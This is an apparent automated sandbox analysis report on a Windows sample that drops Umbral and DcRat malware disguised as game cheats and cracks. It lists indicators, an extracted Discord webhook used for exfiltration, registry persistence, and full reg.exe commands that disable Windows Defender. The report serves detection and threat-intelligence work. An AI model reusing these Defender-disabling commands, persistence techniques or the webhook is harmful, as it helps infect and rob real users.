Analysis
-
max time kernel
119s -
max time network
120s -
platform
windows7_x64 -
resource
win7-20241023-en -
resource tags
arch:x64arch:x86image:win7-20241023-enlocale:en-usos:windows7-x64system -
submitted
30-10-2024 11:36
Behavioral task
behavioral1
Sample
E3A480A53D8B2C398A7642E1F4E84785.exe
Resource
win7-20241023-en
Behavioral task
behavioral2
Sample
E3A480A53D8B2C398A7642E1F4E84785.exe
Resource
win10v2004-20241007-en
General
-
Target
E3A480A53D8B2C398A7642E1F4E84785.exe
-
Size
12.9MB
-
MD5
e3a480a53d8b2c398a7642e1f4e84785
-
SHA1
7f8fa5e3dc9be9055f9202213be33460a1af1e09
-
SHA256
11e550c201ee70fb01902b1e84b19a133c0861e170c764db9d8755be67fdcde2
-
SHA512
b3fce5ac73b75fb70d6c798517426ee614b72f24236baf07752f1289a8ce78d74c3c1ec5168f1d8fbcaa5b7de072ef3175f895ac1a49379f716209df49d103e8
-
SSDEEP
393216:oJlQ1evI2bs6Yuno3rkJ3InoKasOnHDJaM8t:obQpgssCKInwjJaMu
Malware Config
Extracted
umbral
https://discord.com/api/webhooks/1266665187293794356/BgUJDQi9QXAA0avjRcAiy-uTUWdbVUSk8SQjon--JNjDxPP5bEhE6DLfJFghJ_KLSRhA
Signatures
-
DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
-
Dcrat family
-
Detect Umbral payload 3 IoCs
resource yara_rule behavioral1/files/0x000d000000012280-2.dat family_umbral behavioral1/memory/2044-9-0x0000000000AC0000-0x0000000000B00000-memory.dmp family_umbral behavioral1/memory/2360-26-0x0000000000400000-0x00000000010F7000-memory.dmp family_umbral -
Modifies WinLogon for persistence 2 TTPs 4 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files (x86)\\Microsoft SQL Server Compact Edition\\System.exe\", \"C:\\Recovery\\480d7142-91a3-11ef-b9f6-6e5a89f5a3c7\\dllhost.exe\", \"C:\\blockweb\\WMIADAP.exe\"" portrefNet.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files (x86)\\Microsoft SQL Server Compact Edition\\System.exe\", \"C:\\Recovery\\480d7142-91a3-11ef-b9f6-6e5a89f5a3c7\\dllhost.exe\", \"C:\\blockweb\\WMIADAP.exe\", \"C:\\Windows\\TAPI\\spoolsv.exe\"" portrefNet.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files (x86)\\Microsoft SQL Server Compact Edition\\System.exe\"" portrefNet.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files (x86)\\Microsoft SQL Server Compact Edition\\System.exe\", \"C:\\Recovery\\480d7142-91a3-11ef-b9f6-6e5a89f5a3c7\\dllhost.exe\"" portrefNet.exe -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1" reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" reg.exe -
Modifies security service 2 TTPs 2 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WinDefend\Start = "4" reg.exe Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WinDefend\Start = "4" reg.exe -
Process spawned unexpected child process 12 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1752 2056 schtasks.exe 104 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2508 2056 schtasks.exe 104 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2092 2056 schtasks.exe 104 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3016 2056 schtasks.exe 104 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3020 2056 schtasks.exe 104 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2996 2056 schtasks.exe 104 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1996 2056 schtasks.exe 104 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3024 2056 schtasks.exe 104 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1208 2056 schtasks.exe 104 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 596 2056 schtasks.exe 104 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1952 2056 schtasks.exe 104 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2288 2056 schtasks.exe 104 -
Umbral family
-
resource yara_rule behavioral1/files/0x0006000000018739-134.dat dcrat behavioral1/files/0x0005000000019451-155.dat dcrat behavioral1/memory/2936-157-0x0000000000FA0000-0x00000000011DA000-memory.dmp dcrat behavioral1/memory/2292-178-0x0000000000120000-0x000000000035A000-memory.dmp dcrat -
Executes dropped EXE 7 IoCs
pid Process 2044 52cheatand52rat.exe 2600 Primordial Crack.exe 2916 Lunch LaCheatV2.exe 2876 Lunch LaCheat.exe 1956 DCRatBuild.exe 2936 portrefNet.exe 2292 spoolsv.exe -
Loads dropped DLL 10 IoCs
pid Process 2360 E3A480A53D8B2C398A7642E1F4E84785.exe 2360 E3A480A53D8B2C398A7642E1F4E84785.exe 2360 E3A480A53D8B2C398A7642E1F4E84785.exe 2600 Primordial Crack.exe 2600 Primordial Crack.exe 2916 Lunch LaCheatV2.exe 2916 Lunch LaCheatV2.exe 2876 Lunch LaCheat.exe 2600 cmd.exe 2600 cmd.exe -
resource yara_rule behavioral1/files/0x00060000000186f4-33.dat vmprotect behavioral1/memory/2916-80-0x0000000000400000-0x0000000001B6B000-memory.dmp vmprotect behavioral1/files/0x000900000001755b-87.dat vmprotect -
Adds Run key to start application 2 TTPs 8 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\dllhost = "\"C:\\Recovery\\480d7142-91a3-11ef-b9f6-6e5a89f5a3c7\\dllhost.exe\"" portrefNet.exe Set value (str) \REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Windows\CurrentVersion\Run\WMIADAP = "\"C:\\blockweb\\WMIADAP.exe\"" portrefNet.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WMIADAP = "\"C:\\blockweb\\WMIADAP.exe\"" portrefNet.exe Set value (str) \REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Windows\CurrentVersion\Run\spoolsv = "\"C:\\Windows\\TAPI\\spoolsv.exe\"" portrefNet.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\spoolsv = "\"C:\\Windows\\TAPI\\spoolsv.exe\"" portrefNet.exe Set value (str) \REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Windows\CurrentVersion\Run\System = "\"C:\\Program Files (x86)\\Microsoft SQL Server Compact Edition\\System.exe\"" portrefNet.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\System = "\"C:\\Program Files (x86)\\Microsoft SQL Server Compact Edition\\System.exe\"" portrefNet.exe Set value (str) \REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Windows\CurrentVersion\Run\dllhost = "\"C:\\Recovery\\480d7142-91a3-11ef-b9f6-6e5a89f5a3c7\\dllhost.exe\"" portrefNet.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 6 ip-api.com -
Modifies Security services 2 TTPs 8 IoCs
Modifies the startup behavior of a security service.
description ioc Process Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WdNisSvc\Start = "4" reg.exe Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WdBoot\Start = "4" reg.exe Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WdFilter\Start = "4" reg.exe Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WdNisDrv\Start = "4" reg.exe Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WdNisSvc\Start = "4" reg.exe Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WdBoot\Start = "4" reg.exe Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WdFilter\Start = "4" reg.exe Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WdNisDrv\Start = "4" reg.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 2916 Lunch LaCheatV2.exe 2876 Lunch LaCheat.exe -
Drops file in Program Files directory 3 IoCs
description ioc Process File created C:\Program Files (x86)\Microsoft SQL Server Compact Edition\System.exe portrefNet.exe File opened for modification C:\Program Files (x86)\Microsoft SQL Server Compact Edition\System.exe portrefNet.exe File created C:\Program Files (x86)\Microsoft SQL Server Compact Edition\27d1bcfc3c54e0 portrefNet.exe -
Drops file in Windows directory 2 IoCs
description ioc Process File created C:\Windows\TAPI\f3b6ecef712a24 portrefNet.exe File created C:\Windows\TAPI\spoolsv.exe portrefNet.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 64 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language DCRatBuild.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Primordial Crack.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language E3A480A53D8B2C398A7642E1F4E84785.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Lunch LaCheatV2.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Lunch LaCheat.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WScript.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WScript.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 12 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2288 schtasks.exe 1752 schtasks.exe 2508 schtasks.exe 2092 schtasks.exe 3020 schtasks.exe 1208 schtasks.exe 596 schtasks.exe 3016 schtasks.exe 2996 schtasks.exe 1996 schtasks.exe 3024 schtasks.exe 1952 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 10 IoCs
pid Process 2916 Lunch LaCheatV2.exe 2916 Lunch LaCheatV2.exe 2876 Lunch LaCheat.exe 2876 Lunch LaCheat.exe 2936 portrefNet.exe 2936 portrefNet.exe 2936 portrefNet.exe 2936 portrefNet.exe 2936 portrefNet.exe 2292 spoolsv.exe -
Suspicious use of AdjustPrivilegeToken 43 IoCs
description pid Process Token: SeDebugPrivilege 2044 52cheatand52rat.exe Token: SeIncreaseQuotaPrivilege 1908 wmic.exe Token: SeSecurityPrivilege 1908 wmic.exe Token: SeTakeOwnershipPrivilege 1908 wmic.exe Token: SeLoadDriverPrivilege 1908 wmic.exe Token: SeSystemProfilePrivilege 1908 wmic.exe Token: SeSystemtimePrivilege 1908 wmic.exe Token: SeProfSingleProcessPrivilege 1908 wmic.exe Token: SeIncBasePriorityPrivilege 1908 wmic.exe Token: SeCreatePagefilePrivilege 1908 wmic.exe Token: SeBackupPrivilege 1908 wmic.exe Token: SeRestorePrivilege 1908 wmic.exe Token: SeShutdownPrivilege 1908 wmic.exe Token: SeDebugPrivilege 1908 wmic.exe Token: SeSystemEnvironmentPrivilege 1908 wmic.exe Token: SeRemoteShutdownPrivilege 1908 wmic.exe Token: SeUndockPrivilege 1908 wmic.exe Token: SeManageVolumePrivilege 1908 wmic.exe Token: 33 1908 wmic.exe Token: 34 1908 wmic.exe Token: 35 1908 wmic.exe Token: SeIncreaseQuotaPrivilege 1908 wmic.exe Token: SeSecurityPrivilege 1908 wmic.exe Token: SeTakeOwnershipPrivilege 1908 wmic.exe Token: SeLoadDriverPrivilege 1908 wmic.exe Token: SeSystemProfilePrivilege 1908 wmic.exe Token: SeSystemtimePrivilege 1908 wmic.exe Token: SeProfSingleProcessPrivilege 1908 wmic.exe Token: SeIncBasePriorityPrivilege 1908 wmic.exe Token: SeCreatePagefilePrivilege 1908 wmic.exe Token: SeBackupPrivilege 1908 wmic.exe Token: SeRestorePrivilege 1908 wmic.exe Token: SeShutdownPrivilege 1908 wmic.exe Token: SeDebugPrivilege 1908 wmic.exe Token: SeSystemEnvironmentPrivilege 1908 wmic.exe Token: SeRemoteShutdownPrivilege 1908 wmic.exe Token: SeUndockPrivilege 1908 wmic.exe Token: SeManageVolumePrivilege 1908 wmic.exe Token: 33 1908 wmic.exe Token: 34 1908 wmic.exe Token: 35 1908 wmic.exe Token: SeDebugPrivilege 2936 portrefNet.exe Token: SeDebugPrivilege 2292 spoolsv.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2360 wrote to memory of 2044 2360 E3A480A53D8B2C398A7642E1F4E84785.exe 31 PID 2360 wrote to memory of 2044 2360 E3A480A53D8B2C398A7642E1F4E84785.exe 31 PID 2360 wrote to memory of 2044 2360 E3A480A53D8B2C398A7642E1F4E84785.exe 31 PID 2360 wrote to memory of 2044 2360 E3A480A53D8B2C398A7642E1F4E84785.exe 31 PID 2360 wrote to memory of 2600 2360 E3A480A53D8B2C398A7642E1F4E84785.exe 105 PID 2360 wrote to memory of 2600 2360 E3A480A53D8B2C398A7642E1F4E84785.exe 105 PID 2360 wrote to memory of 2600 2360 E3A480A53D8B2C398A7642E1F4E84785.exe 105 PID 2360 wrote to memory of 2600 2360 E3A480A53D8B2C398A7642E1F4E84785.exe 105 PID 2360 wrote to memory of 2568 2360 E3A480A53D8B2C398A7642E1F4E84785.exe 33 PID 2360 wrote to memory of 2568 2360 E3A480A53D8B2C398A7642E1F4E84785.exe 33 PID 2360 wrote to memory of 2568 2360 E3A480A53D8B2C398A7642E1F4E84785.exe 33 PID 2360 wrote to memory of 2568 2360 E3A480A53D8B2C398A7642E1F4E84785.exe 33 PID 2568 wrote to memory of 2904 2568 cmd.exe 35 PID 2568 wrote to memory of 2904 2568 cmd.exe 35 PID 2568 wrote to memory of 2904 2568 cmd.exe 35 PID 2568 wrote to memory of 2904 2568 cmd.exe 35 PID 2568 wrote to memory of 2908 2568 cmd.exe 36 PID 2568 wrote to memory of 2908 2568 cmd.exe 36 PID 2568 wrote to memory of 2908 2568 cmd.exe 36 PID 2568 wrote to memory of 2908 2568 cmd.exe 36 PID 2600 wrote to memory of 2916 2600 Primordial Crack.exe 37 PID 2600 wrote to memory of 2916 2600 Primordial Crack.exe 37 PID 2600 wrote to memory of 2916 2600 Primordial Crack.exe 37 PID 2600 wrote to memory of 2916 2600 Primordial Crack.exe 37 PID 2568 wrote to memory of 2264 2568 cmd.exe 106 PID 2568 wrote to memory of 2264 2568 cmd.exe 106 PID 2568 wrote to memory of 2264 2568 cmd.exe 106 PID 2568 wrote to memory of 2264 2568 cmd.exe 106 PID 2600 wrote to memory of 332 2600 Primordial Crack.exe 39 PID 2600 wrote to memory of 332 2600 Primordial Crack.exe 39 PID 2600 wrote to memory of 332 2600 Primordial Crack.exe 39 PID 2600 wrote to memory of 332 2600 Primordial Crack.exe 39 PID 2568 wrote to memory of 2952 2568 cmd.exe 41 PID 2568 wrote to memory of 2952 2568 cmd.exe 41 PID 2568 wrote to memory of 2952 2568 cmd.exe 41 PID 2568 wrote to memory of 2952 2568 cmd.exe 41 PID 2568 wrote to memory of 2964 2568 cmd.exe 42 PID 2568 wrote to memory of 2964 2568 cmd.exe 42 PID 2568 wrote to memory of 2964 2568 cmd.exe 42 PID 2568 wrote to memory of 2964 2568 cmd.exe 42 PID 2568 wrote to memory of 2988 2568 cmd.exe 43 PID 2568 wrote to memory of 2988 2568 cmd.exe 43 PID 2568 wrote to memory of 2988 2568 cmd.exe 43 PID 2568 wrote to memory of 2988 2568 cmd.exe 43 PID 2568 wrote to memory of 2720 2568 cmd.exe 44 PID 2568 wrote to memory of 2720 2568 cmd.exe 44 PID 2568 wrote to memory of 2720 2568 cmd.exe 44 PID 2568 wrote to memory of 2720 2568 cmd.exe 44 PID 2568 wrote to memory of 2716 2568 cmd.exe 45 PID 2568 wrote to memory of 2716 2568 cmd.exe 45 PID 2568 wrote to memory of 2716 2568 cmd.exe 45 PID 2568 wrote to memory of 2716 2568 cmd.exe 45 PID 2568 wrote to memory of 2832 2568 cmd.exe 46 PID 2568 wrote to memory of 2832 2568 cmd.exe 46 PID 2568 wrote to memory of 2832 2568 cmd.exe 46 PID 2568 wrote to memory of 2832 2568 cmd.exe 46 PID 332 wrote to memory of 2860 332 cmd.exe 47 PID 332 wrote to memory of 2860 332 cmd.exe 47 PID 332 wrote to memory of 2860 332 cmd.exe 47 PID 332 wrote to memory of 2860 332 cmd.exe 47 PID 332 wrote to memory of 2808 332 cmd.exe 48 PID 332 wrote to memory of 2808 332 cmd.exe 48 PID 332 wrote to memory of 2808 332 cmd.exe 48 PID 332 wrote to memory of 2808 332 cmd.exe 48 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\E3A480A53D8B2C398A7642E1F4E84785.exe"C:\Users\Admin\AppData\Local\Temp\E3A480A53D8B2C398A7642E1F4E84785.exe"1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2360 -
C:\Users\Admin\AppData\Local\Temp\52cheatand52rat.exe"C:\Users\Admin\AppData\Local\Temp\52cheatand52rat.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2044 -
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1908
-
-
-
C:\Users\Admin\AppData\Local\Temp\Primordial Crack.exe"C:\Users\Admin\AppData\Local\Temp\Primordial Crack.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2600 -
C:\Users\Admin\AppData\Local\Temp\Lunch LaCheatV2.exe"C:\Users\Admin\AppData\Local\Temp\Lunch LaCheatV2.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:2916 -
C:\Users\Admin\AppData\Local\Temp\Lunch LaCheat.exe"C:\Users\Admin\AppData\Local\Temp\Lunch LaCheat.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:2876 -
C:\Users\Admin\AppData\Local\Temp\DCRatBuild.exe"C:\Users\Admin\AppData\Local\Temp\DCRatBuild.exe"5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:1956 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\blockweb\J6PsSzBYKK7mXTJyYh2Tgne.vbe"6⤵
- System Location Discovery: System Language Discovery
PID:1852 -
C:\Windows\SysWOW64\cmd.execmd /c ""C:\blockweb\TOdra8QNG4wQEWkSimCHh9eVG.bat" "7⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:2600 -
C:\blockweb\portrefNet.exe"C:\blockweb\portrefNet.exe"8⤵
- Modifies WinLogon for persistence
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2936 -
C:\Windows\TAPI\spoolsv.exe"C:\Windows\TAPI\spoolsv.exe"9⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2292
-
-
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\blockweb\file.vbs"6⤵
- System Location Discovery: System Language Discovery
PID:1580
-
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\windows defender.bat" "3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:332 -
C:\Windows\SysWOW64\reg.exereg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f4⤵
- Modifies Windows Defender Real-time Protection settings
PID:2860
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f4⤵
- System Location Discovery: System Language Discovery
PID:2808
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f4⤵
- System Location Discovery: System Language Discovery
PID:2928
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f4⤵
- System Location Discovery: System Language Discovery
PID:2688
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f4⤵
- Modifies Windows Defender Real-time Protection settings
